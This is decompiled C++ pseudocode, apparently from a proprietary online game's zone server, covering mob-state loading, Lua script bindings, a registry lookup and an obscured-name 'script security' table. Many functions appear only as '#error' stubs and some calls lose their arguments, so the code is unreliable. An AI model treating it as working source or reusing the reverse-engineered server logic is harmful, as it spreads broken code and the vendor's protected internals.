v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0059F170) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this) { this->lomscad_StructList._Myfirst = 0; this->lomscad_StructList._Mylast = 0; this->lomscad_StructList._Myend = 0; this->lomscad_IndexList._Myfirst = 0; this->lomscad_IndexList._Mylast = 0; this->lomscad_IndexList._Myend = 0; } //----- (0059F1B0) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::_ListOfMobStateCheckAtDead(BossFieldContent::ListOfMobStateCheckAtDead *this) { BossFieldContent::ListOfMobStateCheckAtDead *v1; // esi@1 v1 = this; if ( this->lomscad_IndexList._Myfirst ) operator delete(this->lomscad_IndexList._Myfirst); v1->lomscad_IndexList._Myfirst = 0; v1->lomscad_IndexList._Mylast = 0; v1->lomscad_IndexList._Myend = 0; std::vector>::_Tidy((std::vector > *)v1); } //----- (0059F1E0) -------------------------------------------------------- void __thiscall BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load(BossFieldContent::ListOfMobStateCheckAtDead *this) { BossFieldContent::ListOfMobStateCheckAtDead *v1; // ebp@1 int v2; // eax@1 int v3; // eax@1 unsigned int v4; // ecx@1 char *v5; // edi@5 unsigned __int16 v6; // si@7 int *v7; // edi@10 int v8; // ecx@10 int v9; // esi@10 BossFieldContent::MobAbstateCheckAtDead *v10; // eax@11 signed int v11; // edx@13 AbnormalStateDictionary::AbState::AbStateStr *v12; // edi@15 void *a; // [sp+10h] [bp-B4h]@1 int k; // [sp+14h] [bp-B0h]@1 BossFieldContent::MobAbstateCheckAtDead _Val; // [sp+18h] [bp-ACh]@1 FunctionEntarance _; // [sp+2Ch] [bp-98h]@1 char masds; // [sp+30h] [bp-94h]@1 int v18; // [sp+60h] [bp-64h]@1 char flag; // [sp+6Ch] [bp-58h]@1 __int16 v20; // [sp+B0h] [bp-14h]@1 char v21; // [sp+B2h] [bp-12h]@1 unsigned int v22; // [sp+B4h] [bp-10h]@1 int v23; // [sp+C0h] [bp-4h]@1 v1 = this; v22 = (unsigned int)&a ^ __security_cookie; _.fe_FunctionCode = "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v23 = 0; std::vector>::_Tidy((std::vector > *)v1); _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; LOBYTE(v23) = 1; std::vector>::push_back( &v1->lomscad_StructList, &_Val); LOBYTE(v23) = 0; v2 = MobDataBox::operator int(&mobdatabox); std::vector>::resize(&v1->lomscad_IndexList, v2, 0); CCharacterTitleData::CCharacterTitleData((BinaryData *)&masds); memset(&flag, 0, 0x44u); v20 = 0; v21 = 0; LOBYTE(v23) = 2; BinaryDataBox::bdb_ReadData( (BinaryDataBox *)&masds, "../9Data/Hero/MobAbStateDropSetting.shn"); v3 = *(_DWORD *)(v18 + 40); v4 = 0; k = 0; if ( v3 > 0 ) { while ( 1 ) { if ( v4 < v3 ) { a = CDataReader::GetRecord((CDataReader *)&masds, v4); v5 = (char *)a; } else { v5 = &flag; a = &flag; } v6 = MobDataBox::mdb_2MobID(&mobdatabox, v5); if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Invalid mob", v5); ShineExit("BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); } v7 = v1->lomscad_IndexList._Myfirst; v8 = v6; v9 = v7[v8]; if ( !v9 ) { v10 = v1->lomscad_StructList._Myfirst; if ( v10 ) { v11 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v1->lomscad_StructList._Mylast - (char *)v10)) >> 32) >> 3; v9 = v11 + ((unsigned int)v11 >> 31); } else { v9 = 0; } v7[v8] = v9; _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; LOBYTE(v23) = 3; std::vector>::push_back( &v1->lomscad_StructList, &_Val); LOBYTE(v23) = 2; _Val.macad_List._Myfirst = 0; _Val.macad_List._Mylast = 0; _Val.macad_List._Myend = 0; } v12 = AbnormalStateDictionary::AbState::as_FromName(&dic_abstate, (char *)a + 33); if ( v12 == 0 ) { AssertClass::ac_AssertFail( &shineassert, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load : Invalid abstate", (const char *)a + 33); ShineExit("BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); } BossFieldContent::MobAbstateCheckAtDead::macad_PushBack( &v1->lomscad_StructList._Myfirst[v9], v12->index->AbStataIndex, *(StateDropType *)((char *)a + 66)); v3 = *(_DWORD *)(v18 + 40); ++k; if ( k >= v3 ) break; v4 = k; } } LOBYTE(v23) = 0; CCharacterTitleData::_CCharacterTitleData((BinaryData *)&masds); --funcallanalizer.fca_stackpoint; v23 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "BossFieldContent::ListOfMobStateCheckAtDead::lomscad_Load"); __security_check_cookie((unsigned int)&a ^ v22); } //----- (0059F470) -------------------------------------------------------- int __cdecl cpp_Print(lua_State *L) { _iobuf *v1; // esi@1 char buffer[256]; // [sp+4h] [bp-104h]@1 unsigned int v4; // [sp+104h] [bp-4h]@1 v4 = (unsigned int)buffer ^ __security_cookie; lua_tolstring(L, 1, 0); sprintf(buffer, "Script : %s"); v1 = fopen("Message.txt", "a"); fprintf(v1, "%s\n"); fclose(v1); return 0; } //----- (0059F4F0) -------------------------------------------------------- int __cdecl cpp_RegCheck(lua_State *L) { const char *v1; // esi@1 unsigned int v2; // eax@1 void *v3; // edi@1 char v4; // cl@2 HKEY hKey; // [sp+8h] [bp-214h]@1 DWORD type; // [sp+Ch] [bp-210h]@4 LPCSTR var; // [sp+10h] [bp-20Ch]@1 DWORD sz; // [sp+14h] [bp-208h]@1 const CHAR pathbuf[4]; // [sp+18h] [bp-204h]@1 char buffer[256]; // [sp+118h] [bp-104h]@3 unsigned int v12; // [sp+218h] [bp-4h]@1 v12 = (unsigned int)&hKey ^ __security_cookie; v1 = lua_tolstring(L, 1, 0); var = lua_tolstring(L, 2, 0); strcpy((char *)pathbuf, "SOFTWARE\\"); v2 = strlen(v1) + 1; v3 = (char *)&sz + 3; do { v4 = *((_BYTE *)v3 + 1); v3 = (char *)v3 + 1; } while ( v4 ); memcpy(v3, v1, v2); buffer[0] = 0; if ( !RegOpenKeyExA(HKEY_LOCAL_MACHINE, pathbuf, 0, 0x201u, &hKey) ) { sz = 256; type = 1; if ( RegQueryValueExA(hKey, var, 0, &type, buffer, &sz) ) buffer[0] = 0; RegCloseKey(hKey); } lua_pushstring(L, buffer); return 1; } //----- (0059F620) -------------------------------------------------------- int __cdecl cpp_CurrentTime(lua_State *L) { if ( !unk_6B68C8 && unk_6B68C9 ) g_LUA_SCRIPT_SECURITYFactor = 1.0; lua_pushnumber(L, (double)(unsigned __int8)chargeditemcheck._bf0); lua_pushnumber(L, (double)(((unsigned int)chargeditemcheck._bf0 >> 8) & 0x1F)); lua_pushnumber(L, (double)(((unsigned int)chargeditemcheck._bf0 >> 13) & 0x3F)); lua_pushnumber(L, (double)(((unsigned int)chargeditemcheck._bf0 >> 19) & 0x3F)); lua_pushnumber(L, (double)((unsigned int)chargeditemcheck._bf0 >> 25)); return 5; } //----- (0059F730) -------------------------------------------------------- #error "59F730: undefined or illegal type '#734' (funcsize=4)" //----- (0059F740) -------------------------------------------------------- #error "59F740: undefined or illegal type '#734' (funcsize=14)" //----- (0059F770) -------------------------------------------------------- #error "59F770: undefined or illegal type '#734' (funcsize=55)" //----- (0059F830) -------------------------------------------------------- void __thiscall AxialListNPCSearch::_AxialListNPCSearch(AxialListNPCSearch *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListNPCSearch::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 67F594: using guessed type int (__stdcall *AxialListNPCSearch___vftable_[2])(int, int, int distancesquar); //----- (0059F840) -------------------------------------------------------- void __thiscall AxialQuesterFind::_AxialQuesterFind(AxialQuesterFind *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialQuesterFind::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 67F598: using guessed type int (__stdcall *AxialQuesterFind___vftable_)(int, int, int distancesquar); //----- (0059F880) -------------------------------------------------------- int __cdecl cInvenItemDestroy(lua_State *L) { unsigned int v1; // ebp@1 int result; // eax@1 void *v3; // esi@2 const char *v4; // eax@6 __int16 v5; // di@6 unsigned __int64 v6; // qax@8 char v7; // al@9 v1 = (unsigned __int64)lua_tonumberx(L, 1, 0); result = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v1); if ( result ) { v3 = (void *)(*(int (__thiscall **)(int))(*(_DWORD *)result + 3096))(result); if ( v3 && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 768))(v3) != 1 && (unsigned __int8)(*(int (__thiscall **)(void *))(*(_DWORD *)v3 + 1228))(v3) == 2 ) { v4 = lua_tolstring(L, 2, 0); v5 = ItemDataBox::idb_2itemid(&itemdatabox, v4); if ( v5 != -1 && (v6 = (unsigned __int64)lua_tonumberx(L, 3, 0), (_DWORD)v6) && (ShineObjectClass::ShinePlayer::sp_DestroyItem(v3, v1, v5, v6, 0), v7) ) { lua_pushnumber(L, 1.0); result = 1; } else { result = 0; } } else { result = 0; } } return result; } //----- (0059F950) -------------------------------------------------------- void __thiscall AxialListKQEndLua::AxialListKQEndLua(AxialListKQEndLua *this, int department, int command) { AxialListKQEndLua *v3; // esi@1 v3 = this; AxialListProtocolSend::AxialListProtocolSend(&this->baseclass_0, department, command); v3->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEndLua::_vftable_; } // 67F59C: using guessed type int (__thiscall *AxialListKQEndLua___vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); //----- (0059F970) -------------------------------------------------------- void __thiscall AxialListKQEndLua::_AxialListKQEndLua(AxialListKQEndLua *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListKQEndLua::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 67F59C: using guessed type int (__thiscall *AxialListKQEndLua___vftable_)(AxialListProtocolSend *this, #593 *, #593 *, int distancesquar); //----- (0059F980) -------------------------------------------------------- void __thiscall AxialListMobIndexVanish::_AxialListMobIndexVanish(AxialListMobIndexVanish *this) { this->baseclass_0.vfptr = (AxialListIteratorVtbl *)AxialListMobIndexVanish::_vftable_; AxialListNearGateFind::_AxialListNearGateFind((AxialListNearGateFind *)this); } // 67F5A0: using guessed type int (__stdcall *AxialListMobIndexVanish___vftable_[2])(int, int, int distancesquar); //----- (0059F990) -------------------------------------------------------- void __thiscall AxialListEnemyInAray::_AxialListEnemyInAray(AxialListEnemyInAray *this) { this->baseclass_0.baseclass_0.vfptr = (AxialListIteratorVtbl *)&AxialListEnemyInAray::_vftable_; AxialListNearScanObjectType::_AxialListNearScanObjectType((AxialListNearScanObjectType *)this); } // 67F5A4: using guessed type int (__stdcall *AxialListEnemyInAray___vftable_)(int, int, int distancesquar); //----- (0059F9A0) -------------------------------------------------------- bool __thiscall LuaScript::ls_FromFile(LuaScript *this, char *filename) { LuaScript *v2; // esi@1 lua_State *v3; // eax@3 v2 = this; if ( this->ls_LuaObject ) lua_close(this->ls_LuaObject); v2->ls_LuaObject = 0; v3 = luaL_newstate(); v2->ls_LuaObject = v3; luaL_openlibs(v3); return v2->vfptr->ls_FuncSet(v2) && !luaL_loadfilex(v2->ls_LuaObject, filename, 0) && !lua_pcallk(v2->ls_LuaObject, 0, 0, 0, 0, 0); } //----- (0059FA10) -------------------------------------------------------- bool __thiscall LuaScript::ls_FromString(LuaScript *this, const char *code) { LuaScript *v2; // esi@1 lua_State *v3; // eax@3 v2 = this; if ( this->ls_LuaObject ) lua_close(this->ls_LuaObject); v2->ls_LuaObject = 0; v3 = luaL_newstate(); v2->ls_LuaObject = v3; luaL_openlibs(v3); return !luaL_loadstring(v2->ls_LuaObject, code) && !lua_pcallk(v2->ls_LuaObject, 0, 0, 0, 0, 0) && v2->vfptr->ls_FuncSet(v2); } //----- (0059FA80) -------------------------------------------------------- void __thiscall LuaScriptArgument::LuaArgumentDefault::lad_ReturnSet(LuaScriptArgument::LuaArgumentDefault *this, lua_State *L) { LuaScriptArgument::LuaArgumentDefault *v2; // esi@1 bool v3; // zf@1 v2 = this; v3 = this->lad_ReturnNumber == 1; this->lad_ReturnValue = -1; if ( v3 ) { if ( lua_isnumber(L, -1) ) v2->lad_ReturnValue = (unsigned __int64)lua_tonumberx(L, -1, 0); lua_settop(L, -2); } } //----- (0059FAD0) -------------------------------------------------------- #error "59FAD0: undefined or illegal type '#1265' (funcsize=6)" //----- (0059FAF0) -------------------------------------------------------- #error "59FAF0: undefined or illegal type '#1265' (funcsize=31)" //----- (0059FB60) -------------------------------------------------------- void __thiscall LuaScriptArgument::LuaArgumentFuncExec::LuaArgumentFuncExec(LuaScriptArgument::LuaArgumentFuncExec *this, char *arg) { this->baseclass_0.lad_ReturnNumber = 0; this->baseclass_0.vfptr = (LuaScriptArgument::LuaArgumentDefaultVtbl *)LuaScriptArgument::LuaArgumentFuncExec::_vftable_; this->lafe_Arg = arg; } // 67F5CC: using guessed type int (__stdcall *LuaScriptArgument__LuaArgumentFuncExec___vftable_[2])(int L); //----- (0059FB80) -------------------------------------------------------- int __thiscall LuaScriptArgument::LuaArgumentFuncExec::lad_ArgumentSet(LuaScriptArgument::LuaArgumentFuncExec *this, lua_State *L) { lua_pushstring(L, this->lafe_Arg); return 1; } //----- (0059FBA0) -------------------------------------------------------- #error "59FBA0: undefined or illegal type '#1265' (funcsize=8)" //----- (0059FBD0) -------------------------------------------------------- #error "59FBD0: undefined or illegal type '#1265' (funcsize=48)" //----- (0059FC60) -------------------------------------------------------- #error "59FC60: undefined or illegal type '#593' (funcsize=10)" //----- (0059FC90) -------------------------------------------------------- #error "59FC90: undefined or illegal type '#593' (funcsize=75)" //----- (0059FD80) -------------------------------------------------------- #error "59FD80: undefined or illegal type '#593' (funcsize=10)" //----- (0059FDB0) -------------------------------------------------------- #error "59FDB0: undefined or illegal type '#593' (funcsize=80)" //----- (0059FEB0) -------------------------------------------------------- #error "59FEB0: undefined or illegal type '#593' (funcsize=10)" //----- (0059FEE0) -------------------------------------------------------- void __thiscall LuaScriptArgument::LuaArgumentNPCMenu::_LuaArgumentNPCMenu(LuaScriptArgument::LuaArgumentNPCMenu *this) { this->baseclass_0.vfptr = (LuaScriptArgument::LuaArgumentDefaultVtbl *)&LuaScriptArgument::LuaArgumentDefault::_vftable_; } // 67F5AC: using guessed type void *LuaScriptArgument__LuaArgumentDefault___vftable_; //----- (0059FEF0) -------------------------------------------------------- #error "59FEF0: undefined or illegal type '#593' (funcsize=80)" //----- (0059FFF0) -------------------------------------------------------- bool __thiscall LuaScript::ls_FunctionCall(LuaScript *this, const char *funcname, LuaScriptArgument::LuaArgumentDefault *luaarg) { LuaScript *v3; // edi@1 int v4; // ebx@1 int v5; // eax@1 int v6; // eax@1 bool v7; // bl@1 v3 = this; lua_getglobal(this->ls_LuaObject, funcname); v4 = luaarg->vfptr->lad_ArgumentSet(luaarg, v3->ls_LuaObject); v5 = luaarg->vfptr->lad_GetReturnNumber(luaarg); v6 = lua_pcallk(v3->ls_LuaObject, v4, v5, 0, 0, 0); v7 = v6 == 0; if ( !v6 ) luaarg->vfptr->lad_ReturnSet(luaarg, v3->ls_LuaObject); return v7; } //----- (005A0050) -------------------------------------------------------- unsigned int __thiscall std::vector>::size(std::vector > *this) { unsigned int result; // eax@1 result = (unsigned int)this->_Myfirst; if ( result ) result = (signed int)((char *)this->_Mylast - result) / 72; return result; } //----- (005A0070) -------------------------------------------------------- void __cdecl std::fill(LuaFuncTrigger::TriggerUseItem *_First, LuaFuncTrigger::TriggerUseItem *_Last, LuaFuncTrigger::TriggerUseItem *_Val) { LuaFuncTrigger::TriggerUseItem *v3; // eax@1 void *v4; // edi@2 v3 = _First; while ( v3 != _Last ) { v4 = v3; ++v3; memcpy(v4, _Val, 0x48u); } } //----- (005A00A0) -------------------------------------------------------- bool __thiscall LuaScriptSecurity::ls_FuncSet(LuaScriptSecurity *this) { LuaScriptSecurity *v1; // esi@1 v1 = this; lua_pushcclosure(this->baseclass_0.ls_LuaObject, cpp_Print, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "vmflsxm"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cpp_RegCheck, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "fpwltmxmcheck"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, cpp_CurrentTime, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "dhsmfskfWk"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, (int (__cdecl *)(lua_State *))CGambleObject::GDTSO_GetGameStatus, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_service_multisocket"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_service_acceptor, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_service_acceptor"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_service_mainthread, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_service_mainthread"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_service_iocp, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_service_iocp"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_service_stackchecker, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_service_stackchecker"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_service_certification, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_service_certification"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_moon, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_moon"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_full, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_full"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_star, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_star"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_earth, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_earth"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_house, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_house"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_yellow, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_yellow"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_open, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_open"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_sink, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_sink"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_black, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_black"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_wide, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_wide"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_sky, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_sky"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_long, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_long"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_home, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_home"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_sleep, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_sleep"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_tough, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_tough"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, ZoneServer_zs_start_sun, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "zs_start_sun"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, Parameter_RunSpeed, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "ekfflrlthreh"); lua_pushcclosure(v1->baseclass_0.ls_LuaObject, Parameter_WalkSpeed, 0); lua_setglobal(v1->baseclass_0.ls_LuaObject, "rjerlthreh"); return 1; } //----- (005A03F0) -------------------------------------------------------- void __thiscall LuaScriptScenario::LuaScriptScenario(LuaScriptScenario *this) { this->baseclass_0.ls_LuaObject = 0; this->baseclass_0.vfptr = (LuaScriptVtbl *)&LuaScriptScenario::_vftable_; } // 67F7E4: using guessed type int (*LuaScriptScenario___vftable_)(); //----- (005A0400) -------------------------------------------------------- void __thiscall LuaScriptScenario::_LuaScriptScenario(LuaScriptScenario *this) { LuaScriptScenario *v1; // esi@1 lua_State *v2; // eax@1 v1 = this; v2 = this->baseclass_0.ls_LuaObject; this->baseclass_0.vfptr = (LuaScriptVtbl *)&EventReserveBase::_vftable_; if ( v2 ) lua_close(v2); v1->baseclass_0.ls_LuaObject = 0; } // 63D5DC: using guessed type int (*EventReserveBase___vftable_)(); //----- (005A0430) -------------------------------------------------------- #error "5A0430: undefined or illegal type '#593' (funcsize=120)" //----- (005A05D0) -------------------------------------------------------- int __cdecl tonumber(lua_State *L) { const char *v1; // eax@1 int result; // eax@2 long double v3; // st7@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "tonumber"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "tonumber"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tolstring(L, 1, 0); if ( v1 ) { v3 = atof(v1); lua_pushnumber(L, v3); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "tonumber"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "tonumber"); result = 0; } return result; } //----- (005A06B0) -------------------------------------------------------- int __cdecl cExecCheck(lua_State *L) { const char *v1; // eax@1 char *v2; // edx@2 const char v3; // cl@3 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cExecCheck"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cExecCheck"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v1 = lua_tolstring(L, 1, 0); if ( v1 ) { v2 = (char *)(&LuaScriptScenario::ls_Pointer - (_UNKNOWN *)v1); do { v3 = *v1; v1[(_DWORD)v2] = *v1; ++v1; } while ( v3 ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cExecCheck"); return 0; } //----- (005A0750) -------------------------------------------------------- int __cdecl cDebugLog(lua_State *L) { int result; // eax@3 FunctionEntarance _; // [sp+4h] [bp-114h]@1 char buffer[256]; // [sp+8h] [bp-110h]@2 unsigned int v4; // [sp+108h] [bp-10h]@1 int v5; // [sp+114h] [bp-4h]@1 v4 = (unsigned int)&_ ^ __security_cookie; _.fe_FunctionCode = "cDebugLog"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cDebugLog"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cDebugLog"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v5 = 0; if ( lua_tolstring(L, 1, 0) ) { sprintf(buffer, "QuestEvent : %s"); LuaScriptObserver::lso_Send(&g_LuaScriptObserver, buffer, 0); } --funcallanalizer.fca_stackpoint; v5 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cDebugLog"); __security_check_cookie((unsigned int)&_ ^ v4); return result; } //----- (005A0850) -------------------------------------------------------- #error "5A0850: undefined or illegal type '#593' (funcsize=161)" //----- (005A0A60) -------------------------------------------------------- int __cdecl cMobRegen_Obj(lua_State *L) { const char *v1; // esi@1 int v3; // edi@3 int v4; // eax@3 int v5; // ebp@3 int v6; // eax@4 int v7; // esi@4 int v8; // eax@7 int v9; // edi@7 int v10; // ebx@7 int v11; // eax@7 int v12; // esi@7 int v13; // ST18_4@8 char v14; // al@8 int mobhnd; // [sp+48h] [bp-1Ch]@7 FunctionEntarance _; // [sp+4Ch] [bp-18h]@1 int v17; // [sp+50h] [bp-14h]@5 int v18; // [sp+54h] [bp-10h]@8 int v19; // [sp+60h] [bp-4h]@1 _.fe_FunctionCode = "cMobRegen_Obj"; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cMobRegen_Obj"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cMobRegen_Obj"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v19 = 0; v1 = lua_tolstring(L, 1, 0); if ( !v1 ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cMobRegen_Obj"); return 0; } v3 = (unsigned __int64)lua_tonumberx(L, 2, 0); LOWORD(v4) = MobDataBox::mdb_2MobID(&mobdatabox, v1); v5 = v4; if ( (_WORD)v4 == -1 || (v6 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v3), (v7 = v6) == 0) || (v17 = ShineObjectClass::ShineObject::so_CurMapname(v6)) == 0 ) { --funcallanalizer.fca_stackpoint; v19 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cMobRegen_Obj"); return 0; } v8 = ShineObjectClass::ShineObject::so_mob_LastHittedLocation(v7); v9 = *(_DWORD *)v8; v10 = *(_DWORD *)(v8 + 4); v11 = (int)ShineObjectManager::som_AllocObject(&shineobjmanager, (unsigned __int16 *)&mobhnd, 5u); v12 = v11; if ( !v11 ) goto LABEL_10; v13 = mobhnd; v18 = *(_DWORD *)v11; v14 = ShineObjectClass::ShineObject::so_GetDirect(v11); if ( (*(int (__thiscall **)(int, int, int, int, _DWORD, int, int, _DWORD, signed int, _DWORD, _DWORD, signed int, _DWORD))(v18 + 1752))( v12, v17, v9, v10, (unsigned __int8)v14, v13, v5, 0, -1, 0, 0, -1, 0) ) { ShineObjectManager::som_FreeObject(&shineobjmanager, mobhnd, 0, 22); LABEL_10: v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return 0; } v18 = (unsigned __int16)mobhnd; lua_pushnumber(L, (double)(unsigned __int16)mobhnd); v19 = -1; FunctionEntarance::_FunctionEntarance(&_); return 1; } //----- (005A0C50) -------------------------------------------------------- int __cdecl cDistanceSquar(lua_State *L) { int v1; // edi@2 int v2; // ebx@2 int v3; // edi@2 int result; // eax@3 int v5; // eax@4 int v6; // ST3C_4@5 double v7; // ST3C_8@6 double v8; // ST4C_8@6 double v9; // ST44_8@6 long double v10; // st7@6 int *v11; // [sp+4h] [bp-38h]@1 FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "cDistanceSquar"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "cDistanceSquar"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; if ( lua_isnumber(L, 3) ) { v7 = lua_tonumberx(L, 1, 0); v8 = lua_tonumberx(L, 2, 0); v9 = lua_tonumberx(L, 3, 0); v10 = lua_tonumberx(L, 4, 0); lua_pushnumber(L, (v8 - v10) * (v8 - v10) + (v7 - v9) * (v7 - v9)); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cDistanceSquar"); result = 1; } else { v1 = (unsigned __int64)lua_tonumberx(L, 1, v11); v2 = (unsigned __int64)lua_tonumberx(L, 2, 0); v3 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v1); if ( v3 && (v5 = (int)ShineObjectManager::som_GetObject(&shineobjmanager, v2)) != 0 ) { v6 = ShineObjectClass::ShineObject::so_DistanceSquar(v5, v3); lua_pushnumber(L, (double)(unsigned int)v6); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cDistanceSquar"); result = 1; } else { --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "cDistanceSquar"); result = (int)&wholesaver.ws_savestore[1079].esc_abstate.buffer[5031]; } } return result; } //----- (005A0E30) -------------------------------------------------------- #error "5A0E30: undefined or illegal type '#593' 